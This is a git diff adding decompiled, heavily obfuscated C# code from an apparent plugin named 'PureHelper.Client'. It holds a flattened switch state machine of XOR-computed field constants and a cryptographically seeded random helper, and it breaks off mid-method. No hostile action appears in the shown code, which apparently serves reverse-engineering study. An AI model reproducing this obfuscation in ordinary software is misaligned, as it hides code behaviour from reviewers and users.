+ internal int m_81ee24a94370418d8f6e510a7b3de335; + + internal int m_f4b638c6bf3a4e12b0bb7266586eb369; + + internal int m_98964c4f10f043cdb63e39d1f20974f7; + + internal int m_fe1f37e4aea141f8a0d89c36daff63bf; + + internal int m_bdeabfc7dc3c456c87949484ef8ce8c5; + + internal int m_0d9f0d6f8ce945a4905c13e8fe53ae77; + + internal int m_8178aef8ab8e4b7bbbc322883b6f4a0e; + + internal int m_0e9f30f8c3eb41d0a6c7280f73d03d03; + + internal int m_411a01a90e184ccea1d245585f590e75; + + internal int m_5e15ff1dd14a4e0a9b63367783e1c315; + + internal int m_5960ab896a62471f85ad7b6ede146b4f; + + internal int m_36d48b49d2a245aa8ddb9fb75060fde3; + + internal int m_6ebcb32d0c694807a43b62d2bf7a4c57; + + internal int m_fcfb1a55a15b47b2a0f4975f0e9f4fe5; + + internal int m_f25311c256b24afb83430c7b2ff15b49; + + internal int m_b3f8cb7184cb4b4993fb986967ec61f3; + + internal int m_b34efd8a78a44c79801fdc5af4961010; + + internal int m_f8b5ef236b5946d98fa8e21de610738d; + + internal int m_2947098967754259b23a1de602a3b8be; + + internal int m_e5c65385218d49eabe93d2332a0aea36; + + internal int m_499e5150a96d46988d7849ddb38bfdad; + + internal int m_fc44ae609cf044bca621c0741aecf972; + + internal int m_fa9eda47cd3d4c6fa25173c2bd9005ea; + + internal int m_93234d78d1de4f97a3963d83b86d8a5f; + + internal int m_3df293852b674529ae9bfb1be31083d8; + + internal int m_b0aac02857a444daa99a59abbb107401; + + internal int m_2a8f1f00b92e4ce7b2f8c5951bea8566; + + internal int m_24faa0276f6f44618e997d66140f0229; + + internal int m_22eeadd7708247acb8712f8d83ae151c; + + internal int m_648d6c57b0374dfbbd553f38353b5600; + + internal int m_a9e4709c7a0c43a2a4fabc4cada02ea6; + + internal int m_501ddf0930d6428bb18ddd3568b08e8e; + + internal int m_ba76871b56e54f669cda2d26609cc5b4; + + internal int m_67278bb431504846a19cc3a84ad5f349; + + internal int m_29334a1357a4447b94464649938f08b9; + + internal int m_21ac3f6ffcc747a2933641e3aceb2e8e; + + internal int m_24ada9e0be3f42e49f74a973b597eef4; + + internal int m_2ce4858b84e94d819f0a317cc4129ea4; + + internal int m_d61a1db71a0e45e2a3390548bd7c7e60; + + internal int m_ff6bd260fab74068bc9499bef33e2609; + + internal int m_8e8cfe5bffb04a468a4c934b6e89d98f; + + internal int m_a9147deb311449e1af3e1c05bc2ac7f0; + + internal int m_46dcb9aa916148e38083172ad031baf8; + + internal int m_a8c79faec0e54f9f994f6a5238e4785f; + + internal int m_c97a7c5d45534325bf46c53574165d90; + + internal int m_c716d44c74c64515ac5068ae3a901c0c; + + internal int m_facf28e488a94c39b60d8c8a04f98a66; + + internal int m_c29de6cf9a314eb89482fe4c2290bc42; + + internal int m_c7a5ecc373d04402a9fed7ce8d825251; + + internal int m_5aa7d9fb4aa84ccf8cbdc56cd8df118d; + + internal int m_e00493f700b34238a1195c39af97fc45; + + private static _003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D EkXHaqkhPs9eNFSLdEL; + + static _003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D() + { + s71cb612a69634eabb23c27c7cb595455(); + } + + internal static void s71cb612a69634eabb23c27c7cb595455() + { + int num = 49; + while (true) + { + int num2 = num; + while (true) + { + int num3 = num2; + while (true) + { + switch (num3) + { + default: + if (num2 != 125) + { + if (num2 == 1106) + { + goto end_IL_0004; + } + goto case 92; + } + m_271cb415f2384f7a8af2439f61d79e09.m_c97a7c5d45534325bf46c53574165d90 = -82997760 ^ -82997760; + num3 = 16; + continue; + case 24: + m_271cb415f2384f7a8af2439f61d79e09.m_f25311c256b24afb83430c7b2ff15b49 = -761217044 ^ -780573878; + num = 30; + break; + case 112: + m_271cb415f2384f7a8af2439f61d79e09.m_ba76871b56e54f669cda2d26609cc5b4 = 0x4061F400 ^ 0x5ED081; + num3 = 72; + if (AQaTvfkb3kMNVOg6Zp0() == null) + { + num3 = 11; + } + continue; + case 70: + m_271cb415f2384f7a8af2439f61d79e09.m_51490720dd0f48e3b0ff141b3d904ac5 = 0x4005701B ^ 0x4005701B; + num = 114; + break; + case 85: + m_271cb415f2384f7a8af2439f61d79e09.m_0e9f30f8c3eb41d0a6c7280f73d03d03 = 0x47F18E62 ^ 0x47F18E62; + num3 = 104; + if (AQaTvfkb3kMNVOg6Zp0() != null) + { + num3 = 64; + } + continue; + case 47: + m_271cb415f2384f7a8af2439f61d79e09.m_f7e3386f246948f69c355788e5ea10a5 = --1463820490 ^ 0x32167ABB; + num3 = 100; + continue; + case 60: + m_271cb415f2384f7a8af2439f61d79e09.m_8e8cfe5bffb04a468a4c934b6e89d98f = -831723168 ^ -531314050; + num3 = 21; + continue; + case 87: + m_271cb415f2384f7a8af2439f61d79e09.m_781eb1dda25b44d79c819c3ebb4656dd = -1971041359 ^ -1706610081; + num3 = 83; + continue; + case 67: + m_271cb415f2384f7a8af2439f61d79e09.m_67278bb431504846a19cc3a84ad5f349 = -2048370242 ^ -783420919; + num3 = 26; + if (Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 28; + } + continue; + case 11: + m_271cb415f2384f7a8af2439f61d79e09.m_9ef44bdeb0384bb3a192f49113a29e33 = -1108009508 ^ -2009115830; + num3 = 118; + continue; + case 33: + m_271cb415f2384f7a8af2439f61d79e09.m_b3f8cb7184cb4b4993fb986967ec61f3 = -1565559546 ^ -1565559546; + num3 = 103; + continue; + case 26: + m_271cb415f2384f7a8af2439f61d79e09.m_cb9c626824424572a150665e8d57c6e7 = 0x47F18E62 ^ 0x49AAE3F6; + num3 = 12; + continue; + case 114: + m_271cb415f2384f7a8af2439f61d79e09.m_c29de6cf9a314eb89482fe4c2290bc42 = -(-1059070880 >> 3) ^ 0x7E40474; + num3 = 79; + continue; + case 6: + m_271cb415f2384f7a8af2439f61d79e09.m_0515fb8c750a4a18815512c78a5289a7 = -121922103 ^ -121922103; + num3 = 62; + continue; + case 41: + m_271cb415f2384f7a8af2439f61d79e09.m_0eb6b5636bc94506af0ea669ffeed289 = -1337447376 ^ -1826625787; + num3 = 32; + if (Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 13; + } + continue; + case 15: + m_271cb415f2384f7a8af2439f61d79e09.m_2ce4858b84e94d819f0a317cc4129ea4 = -2125416229 ^ -948022969; + num3 = 49; + if (Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 66; + } + continue; + case 10: + m_271cb415f2384f7a8af2439f61d79e09.m_2a8f1f00b92e4ce7b2f8c5951bea8566 = -1463862400 ^ -1463862400; + num3 = 78; + continue; + case 14: + m_271cb415f2384f7a8af2439f61d79e09.m_f4b638c6bf3a4e12b0bb7266586eb369 = (-104634345 << 5) ^ 0x243FBFA8; + num = 72; + break; + case 38: + m_271cb415f2384f7a8af2439f61d79e09.m_c0850f47ec054590a7b3f2430c11cdb8 = (-104634345 << 5) ^ 0x622C8A1D; + num3 = 35; + continue; + case 5: + m_271cb415f2384f7a8af2439f61d79e09.m_f4a7715299884ff18f1cd79197380e6c = 0x2A154A1 ^ 0x701A4BDD; + num3 = 90; + if (AQaTvfkb3kMNVOg6Zp0() != null) + { + num3 = 101; + } + continue; + case 55: + m_271cb415f2384f7a8af2439f61d79e09.m_a205508cee3842aa869f1b82ea1af874 = 0x66D1FC12 ^ 0x66D1FC12; + num3 = 5; + if (!Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 20; + } + continue; + case 103: + m_271cb415f2384f7a8af2439f61d79e09.m_a8c79faec0e54f9f994f6a5238e4785f = -1565559546 ^ -1565559546; + num3 = 63; + continue; + case 17: + m_271cb415f2384f7a8af2439f61d79e09.m_ba6efaf0d2294319ae0da035931c22d1 = -44698712 ^ -1161204264; + num3 = 56; + continue; + case 82: + m_271cb415f2384f7a8af2439f61d79e09.m_b5967e50e137478cac39f365075d9072 = ~(-2013067943) ^ 0x77FCFAA6; + num3 = 84; + continue; + case 35: + m_271cb415f2384f7a8af2439f61d79e09.m_8f981747ae1949e699313fa1f44f884d = 0x47F18E62 ^ 0x47F18E62; + num = 125; + break; + case 94: + m_271cb415f2384f7a8af2439f61d79e09.m_08f0ca6f783d4de086a0138e7d3650cd = -375701775 ^ -655545282; + num3 = 71; + continue; + case 44: + m_271cb415f2384f7a8af2439f61d79e09.m_94e78e0769e54be39e13ceab800bcc0d = --1463820490 ^ 0x574020CA; + num3 = 7; + if (AQaTvfkb3kMNVOg6Zp0() != null) + { + num3 = 118; + } + continue; + case 83: + m_271cb415f2384f7a8af2439f61d79e09.m_c4c52f9da2f74c12af1b90719cab4223 = 0x66D1FC12 ^ 0x44F1B4C8; + num3 = 14; + continue; + case 81: + m_271cb415f2384f7a8af2439f61d79e09.m_411a01a90e184ccea1d245585f590e75 = 0x47F18E62 ^ 0x47F18E62; + num3 = 68; + continue; + case 77: + m_271cb415f2384f7a8af2439f61d79e09.m_26f406ee7475415ea8607e0d9d8ee024 = --1384401532 ^ 0x52844A7C; + num3 = 93; + if (!Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 3; + } + continue; + case 62: + m_271cb415f2384f7a8af2439f61d79e09.m_2c4908f24e22416e88d1fa82d96dd701 = -(-1059070880 >> 3) ^ 0x7E40474; + num3 = 39; + continue; + case 105: + m_271cb415f2384f7a8af2439f61d79e09.m_1ff8829269df491f8e4bf2a624683839 = -1463862400 ^ -1463862400; + num3 = 75; + if (AQaTvfkb3kMNVOg6Zp0() != null) + { + num3 = 87; + } + continue; + case 61: + m_271cb415f2384f7a8af2439f61d79e09.m_a9e4709c7a0c43a2a4fabc4cada02ea6 = 0x7338A171 ^ 0x7338A171; + num3 = 47; + continue; + case 109: + m_271cb415f2384f7a8af2439f61d79e09.m_6ebcb32d0c694807a43b62d2bf7a4c57 = 0xF0E2200 ^ 0xF0E2200; + num3 = 24; + if (!Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 34; + } + continue; + case 80: + m_271cb415f2384f7a8af2439f61d79e09.m_b0aac02857a444daa99a59abbb107401 = -949438319 ^ -715789078; + num3 = 59; + continue; + case 12: + m_271cb415f2384f7a8af2439f61d79e09.m_3885283fdf59409cbc53081cc2938690 = 0x7338A171 ^ 0x3E9EA88C; + num3 = 71; + if (Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 88; + } + continue; + case 115: + m_271cb415f2384f7a8af2439f61d79e09.m_286c3f129be64af8b8968e2f488643d8 = 0x66D1FC12 ^ 0x66D1FC12; + num3 = 123; + if (Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 41; + } + continue; + case 101: + m_271cb415f2384f7a8af2439f61d79e09.m_53d923ff3cb24dd2bb7d9452d2439a84 = -1353361698 ^ -424194839; + num3 = 87; + continue; + case 32: + m_271cb415f2384f7a8af2439f61d79e09.m_bc6b32b00d1f484e950b6f1b6782a4c3 = -2048370242 ^ -1023822666; + num3 = 95; + continue; + case 95: + m_271cb415f2384f7a8af2439f61d79e09.m_36d48b49d2a245aa8ddb9fb75060fde3 = 0x2A154A1 ^ 0x2A154A1; + num3 = 82; + continue; + case 116: + m_271cb415f2384f7a8af2439f61d79e09.m_46dcb9aa916148e38083172ad031baf8 = -831723168 ^ -831723168; + num3 = 58; + continue; + case 58: + m_271cb415f2384f7a8af2439f61d79e09.m_0d9f0d6f8ce945a4905c13e8fe53ae77 = 0x1EAE7F62 ^ 0x57569119; + num3 = 107; + continue; + case 56: + m_271cb415f2384f7a8af2439f61d79e09.m_f657717d8f834c178c7cd09a108bbe65 = 0x24AA550 ^ 0x757EA973; + num3 = 53; + if (!Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 74; + } + continue; + case 78: + m_271cb415f2384f7a8af2439f61d79e09.m_24faa0276f6f44618e997d66140f0229 = -1329467915 ^ -1329467915; + num3 = 92; + continue; + case 68: + m_271cb415f2384f7a8af2439f61d79e09.m_9ffcbb3f96f246acbb106d878fc81ace = -1549830748 ^ -1549830748; + num = 99; + break; + case 7: + m_271cb415f2384f7a8af2439f61d79e09.m_21ac3f6ffcc747a2933641e3aceb2e8e = 0xC7CDF19 ^ 0x3D0F33BF; + num3 = 32; + continue; + case 91: + m_271cb415f2384f7a8af2439f61d79e09.m_7ee321f1774e478e9a3977aac8e8bf0a = -1014106451 ^ -1014106451; + num3 = 97; + if (Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 61; + } + continue; + case 69: + m_271cb415f2384f7a8af2439f61d79e09.m_81ee24a94370418d8f6e510a7b3de335 = -1161387287 ^ -1903699573; + num3 = 2; + continue; + case 108: + m_271cb415f2384f7a8af2439f61d79e09.m_fc44ae609cf044bca621c0741aecf972 = -17959501 ^ -17959501; + num3 = 40; + if (AQaTvfkb3kMNVOg6Zp0() == null) + { + num3 = 6; + } + continue; + case 118: + m_271cb415f2384f7a8af2439f61d79e09.m_a9147deb311449e1af3e1c05bc2ac7f0 = -1282264396 ^ -1282264396; + num3 = 30; + if (Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 74; + } + continue; + case 20: + m_271cb415f2384f7a8af2439f61d79e09.m_d61a1db71a0e45e2a3390548bd7c7e60 = -2078803434 ^ -2078803434; + num3 = 94; + continue; + case 93: + m_271cb415f2384f7a8af2439f61d79e09.m_caae323a53774cf3a9d226928402337f = 0x4127BD1E ^ 0x4127BD1E; + num3 = 113; + if (AQaTvfkb3kMNVOg6Zp0() != null) + { + num3 = 91; + } + continue; + case 0: + m_271cb415f2384f7a8af2439f61d79e09.m_085cb0dbc3324d8089003c979618ca5d = -7700362 ^ -417340512; + num = 117; + break; + case 53: + m_271cb415f2384f7a8af2439f61d79e09.m_0b44419b977642f69e5d9c6839680b67 = 0x3A208242 ^ 0x2B10E27A; + num3 = 26; + continue; + case 88: + m_271cb415f2384f7a8af2439f61d79e09.m_261c20461b674ca28c16fc971d3a4e0c = 0xF0E2200 ^ 0x7827168C; + num3 = 33; + if (Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 22; + } + continue; + case 21: + m_271cb415f2384f7a8af2439f61d79e09.m_4353980ed85946ce86121f2e107edf17 = -7700362 ^ -7700362; + num3 = 96; + continue; + case 29: + m_271cb415f2384f7a8af2439f61d79e09.m_ce472d8145884cb18b16a6315220ddb0 = 0x7338A171 ^ 0x7338A171; + num3 = 3; + continue; + case 106: + m_271cb415f2384f7a8af2439f61d79e09.m_499e5150a96d46988d7849ddb38bfdad = 0x6CAAE0CD ^ 0x6CAAE0CD; + num3 = 115; + continue; + case 89: + m_271cb415f2384f7a8af2439f61d79e09.m_8e35eb92feeb484bb61c00673e3b1979 = -1282264396 ^ -1282264396; + num3 = 34; + continue; + case 75: + m_271cb415f2384f7a8af2439f61d79e09.m_cf4d9648aee544a78a91bdb81022fbbb = -121922103 ^ -121922103; + num3 = 64; + continue; + case 27: + m_271cb415f2384f7a8af2439f61d79e09.m_fe1f37e4aea141f8a0d89c36daff63bf = -699658248 ^ -699658248; + num3 = 3; + if (AQaTvfkb3kMNVOg6Zp0() == null) + { + num3 = 10; + } + continue; + case 34: + m_271cb415f2384f7a8af2439f61d79e09.m_3df293852b674529ae9bfb1be31083d8 = -375701775 ^ -375701775; + num3 = 38; + if (!Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 33; + } + continue; + case 22: + m_271cb415f2384f7a8af2439f61d79e09.m_93234d78d1de4f97a3963d83b86d8a5f = -1565559546 ^ -1990168387; + num3 = 55; + continue; + case 90: + m_271cb415f2384f7a8af2439f61d79e09.m_e9aacb5e27eb43b38c6a07cda87839c0 = -719917458 ^ -2096802109; + num3 = 52; + continue; + case 54: + m_271cb415f2384f7a8af2439f61d79e09.m_8607b24874644b3f80653c8326708a0f = -2022862989 ^ -2022862989; + num3 = 105; + if (Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 101; + } + continue; + case 99: + m_271cb415f2384f7a8af2439f61d79e09.m_ff6bd260fab74068bc9499bef33e2609 = -2022862989 ^ -505436699; + num3 = 12; + if (Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 106; + } + continue; + case 40: + m_271cb415f2384f7a8af2439f61d79e09.m_76d8d99b4f1948a480249e3f1408d4e5 = --1463820490 ^ 0x574020CA; + num3 = 116; + if (AQaTvfkb3kMNVOg6Zp0() != null) + { + num3 = 0; + } + continue; + case 23: + m_271cb415f2384f7a8af2439f61d79e09.m_bc69f98b6f164f01a6a918aff45d530c = 0x4061F400 ^ 0x4061F400; + num = 76; + break; + case 92: + m_271cb415f2384f7a8af2439f61d79e09.m_b34efd8a78a44c79801fdc5af4961010 = 0xC589E16 ^ 0xC589E16; + num3 = 37; + if (!Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 57; + } + continue; + case 48: + m_271cb415f2384f7a8af2439f61d79e09.m_6901d444f6fa48618465e6bb2f892490 = -1337447376 ^ -1337447376; + num3 = 8; + continue; + case 98: + m_271cb415f2384f7a8af2439f61d79e09.m_8178aef8ab8e4b7bbbc322883b6f4a0e = -(-1059070880 >> 3) ^ 0x7E40474; + num3 = 60; + continue; + case 30: + m_271cb415f2384f7a8af2439f61d79e09.m_fcfb1a55a15b47b2a0f4975f0e9f4fe5 = (-561863758 - -1822252229) ^ 0x4D2BBDDA; + num3 = 73; + if (!Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 105; + } + continue; + case 42: + m_271cb415f2384f7a8af2439f61d79e09.m_bd4735a32b8243ab87438897f9b05148 = -276351844 ^ -593778914; + num3 = 97; + continue; + case 36: + m_271cb415f2384f7a8af2439f61d79e09.m_0f09a9fa75334e429ef59f881dd368e7 = -115048556 ^ -115048556; + num = 29; + break; + case 111: + m_271cb415f2384f7a8af2439f61d79e09.m_1f6b397b209f48209f6f78382abc0dd0 = -1282264396 ^ -203169116; + num3 = 81; + continue; + case 1: + m_271cb415f2384f7a8af2439f61d79e09.m_bc29523b497342f3b804b86715d9577b = 0x4127BD1E ^ 0x4127BD1E; + num3 = 91; + if (AQaTvfkb3kMNVOg6Zp0() != null) + { + num3 = 6; + } + continue; + case 4: + m_271cb415f2384f7a8af2439f61d79e09.m_2947098967754259b23a1de602a3b8be = -2048370242 ^ -1121387989; + num3 = 58; + if (Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 36; + } + continue; + case 74: + m_271cb415f2384f7a8af2439f61d79e09.m_853e64fb4ead47df85068e27da1ecb7b = 0x3ABE7CC0 ^ 0x419DB57A; + num3 = 121; + if (Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 27; + } + continue; + case 76: + m_271cb415f2384f7a8af2439f61d79e09.m_c7a5ecc373d04402a9fed7ce8d825251 = 0x75B57CA ^ 0x683A0B41; + num3 = 99; + if (AQaTvfkb3kMNVOg6Zp0() == null) + { + num3 = 77; + } + continue; + case 18: + return; + case 73: + m_271cb415f2384f7a8af2439f61d79e09.m_24ada9e0be3f42e49f74a973b597eef4 = 0x48E633B2 ^ 0x48E633B2; + num3 = 45; + continue; + case 66: + m_271cb415f2384f7a8af2439f61d79e09.m_29334a1357a4447b94464649938f08b9 = 0x1EAE7F62 ^ 0x3FE7469B; + num3 = 67; + continue; + case 39: + m_271cb415f2384f7a8af2439f61d79e09.m_3ba37e20f9724986a90cd090e6a703b6 = 0x3E943909 ^ 0x3E943909; + num3 = 69; + continue; + case 3: + m_271cb415f2384f7a8af2439f61d79e09.m_fa9eda47cd3d4c6fa25173c2bd9005ea = -1353361698 ^ -1353361698; + num = 70; + break; + case 104: + m_271cb415f2384f7a8af2439f61d79e09.m_5e15ff1dd14a4e0a9b63367783e1c315 = -441990370 ^ -441990370; + num3 = 9; + continue; + case 46: + m_271cb415f2384f7a8af2439f61d79e09.m_8313453974b74aada052a8dba0d1daa4 = 0x3ABE7CC0 ^ 0x783541D; + num = 85; + break; + case 31: + m_271cb415f2384f7a8af2439f61d79e09.m_8e047cd5a8d34c9289514eca26fdadb8 = (-561863758 - -1822252229) ^ 0x4B200077; + num3 = 112; + if (!Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 116; + } + continue; + case 65: + m_271cb415f2384f7a8af2439f61d79e09.m_de25dad2b323460d94eca25c3de7f954 = -375701775 ^ -375701775; + num3 = 46; + if (!Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 72; + } + continue; + case 50: + m_271cb415f2384f7a8af2439f61d79e09.m_cf6b861499bb4e93b913b0104cf85d80 = 0x6CAAE0CD ^ 0x6CAAE0CD; + num3 = 110; + if (AQaTvfkb3kMNVOg6Zp0() != null) + { + num3 = 63; + } + continue; + case 79: + m_271cb415f2384f7a8af2439f61d79e09.m_e00493f700b34238a1195c39af97fc45 = -719917458 ^ -1813499179; + num3 = 15; + if (AQaTvfkb3kMNVOg6Zp0() != null) + { + num3 = 82; + } + continue; + case 2: + m_271cb415f2384f7a8af2439f61d79e09.m_501ddf0930d6428bb18ddd3568b08e8e = -(460651336 + 102515041) ^ -1263089178; + num3 = 2; + if (AQaTvfkb3kMNVOg6Zp0() == null) + { + num3 = 0; + } + continue; + case 96: + m_271cb415f2384f7a8af2439f61d79e09.m_dbaed25adfd74085a06a85a2f4c2deda = 0x3E943909 ^ 0x5657F655; + num3 = 18; + continue; + case 28: + m_271cb415f2384f7a8af2439f61d79e09.m_ade1a6914d5d4142be10e854b6157b3f = -(854971890 - 27873088) ^ -827098802; + num3 = 75; + if (AQaTvfkb3kMNVOg6Zp0() == null) + { + num3 = 1; + } + continue; + case 16: + m_271cb415f2384f7a8af2439f61d79e09.m_cbc10b9a4f014e50ac3911f08194bec9 = -(460651336 + 102515041) ^ -563166377; + num3 = 40; + if (!Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 121; + } + continue; + case 102: + m_271cb415f2384f7a8af2439f61d79e09.m_943100e56ff446e19bd6040145cbf2ec = 0x7338A171 ^ 0x7338A171; + num3 = 80; + continue; + case 8: + m_271cb415f2384f7a8af2439f61d79e09.m_648d6c57b0374dfbbd553f38353b5600 = 0x36C6676 ^ 0x36C6676; + num = 105; + break; + case 72: + m_271cb415f2384f7a8af2439f61d79e09.m_5960ab896a62471f85ad7b6ede146b4f = -2125416229 ^ -244987620; + num3 = 25; + if (!Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 49; + } + continue; + case 97: + m_271cb415f2384f7a8af2439f61d79e09.m_105fe2c22724435f9f5e6d6f7a953089 = -1038302908 ^ -1038302908; + num3 = 31; + continue; + case 19: + m_271cb415f2384f7a8af2439f61d79e09.m_6651f8592e684e849da751d50852d553 = 0xCBF3F ^ 0x72D806EF; + num3 = 41; + if (Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 51; + } + continue; + case 113: + m_271cb415f2384f7a8af2439f61d79e09.m_d4a356c36b2e4f47a614526faef74694 = -1453270925 ^ -416631283; + num3 = 20; + continue; + case 100: + m_271cb415f2384f7a8af2439f61d79e09.m_a267596e458d4ee3839a403c2d8a3690 = 0x75B57CA ^ 0x3743884F; + num3 = 111; + continue; + case 52: + m_271cb415f2384f7a8af2439f61d79e09.m_facf28e488a94c39b60d8c8a04f98a66 = 0x3E943909 ^ 0x3EC168F1; + num3 = 102; + if (!Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 101; + } + continue; + case 117: + m_271cb415f2384f7a8af2439f61d79e09.m_e5c65385218d49eabe93d2332a0aea36 = -(725455789 >> 4) ^ -45340986; + num = 17; + break; + case 63: + m_271cb415f2384f7a8af2439f61d79e09.m_39adc595083c4bb6915cfffdabca57d7 = -1353361698 ^ -1297420907; + num3 = 79; + if (Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 54; + } + continue; + case 64: + m_271cb415f2384f7a8af2439f61d79e09.m_98964c4f10f043cdb63e39d1f20974f7 = -(460651336 + 102515041) ^ -334672127; + num3 = 50; + continue; + case 57: + m_271cb415f2384f7a8af2439f61d79e09.m_6a3f56ff5de44bac98d9c08e25a662a2 = -(854971890 - 27873088) ^ -827098802; + num3 = 6; + if (Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 65; + } + continue; + case 37: + m_271cb415f2384f7a8af2439f61d79e09.m_b931987dfc0c470990e9e38231fff934 = 0x393A328E ^ 0x2A58F791; + num3 = 4; + continue; + case 9: + m_271cb415f2384f7a8af2439f61d79e09.m_649c3d2d5f83414bb83663c9196e9e04 = 0x5E3A9360 ^ 0x5E3A9360; + num3 = 123; + if (Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 89; + } + continue; + case 59: + m_271cb415f2384f7a8af2439f61d79e09.m_bdeabfc7dc3c456c87949484ef8ce8c5 = -1282264396 ^ -8645230; + num3 = 86; + continue; + case 13: + m_271cb415f2384f7a8af2439f61d79e09.m_f8b5ef236b5946d98fa8e21de610738d = 0xC589E16 ^ 0x20CA2E13; + num3 = 98; + continue; + case 43: + m_271cb415f2384f7a8af2439f61d79e09.m_de99969b08844206bddfe6b4e82ed930 = -(-1059070880 >> 3) ^ 0x7A17AE11; + num3 = 108; + continue; + case 71: + m_271cb415f2384f7a8af2439f61d79e09.m_c716d44c74c64515ac5068ae3a901c0c = --1463820490 ^ 0x20DD7020; + num3 = 109; + continue; + case 86: + m_271cb415f2384f7a8af2439f61d79e09.m_5aa7d9fb4aa84ccf8cbdc56cd8df118d = -276351844 ^ -877230225; + num3 = 57; + continue; + case 49: + m_271cb415f2384f7a8af2439f61d79e09 = new _003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D(); + num = 48; + break; + case 45: + m_271cb415f2384f7a8af2439f61d79e09.m_22eeadd7708247acb8712f8d83ae151c = -1329467915 ^ -820950947; + num3 = 44; + continue; + case 25: + m_271cb415f2384f7a8af2439f61d79e09.m_1b3d64cf90d3478ea689f41ea1de0e20 = -794870661 ^ -1171046119; + num3 = 19; + continue; + case 84: + m_271cb415f2384f7a8af2439f61d79e09.m_f099d539a86e4ca2b0b9d68590faa998 = -1038302908 ^ -1629735612; + num3 = 76; + if (Wvm6YXkGOLAlWTGpOGi()) + { + num3 = 43; + } + continue; + case 110: + m_271cb415f2384f7a8af2439f61d79e09.m_b2745db0aa124bbc924b0dcb8892dfd1 = 0x62642C6D ^ 0x560A001D; + num = 33; + break; + case 51: + m_271cb415f2384f7a8af2439f61d79e09.m_9dfdbeb3592e4807b15dd3a37534d3a2 = -(1351065831 - 1386947747) ^ 0x2D003F42; + num3 = 23; + if (AQaTvfkb3kMNVOg6Zp0() != null) + { + num3 = 116; + } + continue; + case 107: + m_271cb415f2384f7a8af2439f61d79e09.m_9187d16b686d4b2fa356c9c894103305 = -699658248 ^ -699658248; + num3 = 42; + continue; + } + goto end_IL_0003; + continue; + end_IL_0004: + break; + } + continue; + end_IL_0003: + break; + } + } + } + + internal static bool Wvm6YXkGOLAlWTGpOGi() + { + return EkXHaqkhPs9eNFSLdEL == null; + } + + internal static _003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D AQaTvfkb3kMNVOg6Zp0() + { + return EkXHaqkhPs9eNFSLdEL; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/.DS_Store b/decompiled/PanelPlugins/PureHelper.Client/.DS_Store new file mode 100644 index 0000000..58778f2 Binary files /dev/null and b/decompiled/PanelPlugins/PureHelper.Client/.DS_Store differ diff --git a/decompiled/PanelPlugins/PureHelper.Client/E19qRRiqHck2XO5krTU/vg5SL6i3qQbdPGqXycX.cs b/decompiled/PanelPlugins/PureHelper.Client/E19qRRiqHck2XO5krTU/vg5SL6i3qQbdPGqXycX.cs new file mode 100644 index 0000000..891db59 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/E19qRRiqHck2XO5krTU/vg5SL6i3qQbdPGqXycX.cs @@ -0,0 +1,176 @@ +using System; +using System.Security.Cryptography; +using XW3iQq2AVWsC9kohc8a; + +namespace E19qRRiqHck2XO5krTU; + +internal class vg5SL6i3qQbdPGqXycX +{ + private static readonly object HLmijejb2S; + + [ThreadStatic] + private static Random mg4iOh2cPx; + + internal static object NB7pb5LcatEN2Yxd7Q7; + + private static Random rj5iXMLSAv() + { + int num = 1; + byte[] array = default(byte[]); + while (true) + { + int num2 = num; + while (true) + { + int num3 = num2; + while (true) + { + switch (num3) + { + default: + if (num2 != 10) + { + if (num2 == 991) + { + goto end_IL_0003; + } + goto case 1; + } + array = new byte[4]; + num3 = 2; + continue; + case 3: + mg4iOh2cPx = new Random(BitConverter.ToInt32(array, 0)); + num3 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_f4b638c6bf3a4e12b0bb7266586eb369 == 0) + { + num3 = 9; + } + continue; + case 2: + ((RandomNumberGenerator)HLmijejb2S).GetBytes(array); + num3 = 3; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_1f6b397b209f48209f6f78382abc0dd0 == 0) + { + num3 = 7; + } + continue; + case 0: + return mg4iOh2cPx; + case 1: + if (mg4iOh2cPx == null) + { + break; + } + goto case 0; + } + goto end_IL_0002; + continue; + end_IL_0003: + break; + } + continue; + end_IL_0002: + break; + } + num = 3; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_e9aacb5e27eb43b38c6a07cda87839c0 != 0) + { + num = 10; + } + } + } + + public int FLgihdr8Qm() + { + return rj5iXMLSAv().Next(); + } + + public int LMyiGnRMYt(int P_0) + { + return rj5iXMLSAv().Next(P_0); + } + + public int PmpibhxdgB(int P_0, int P_1) + { + return 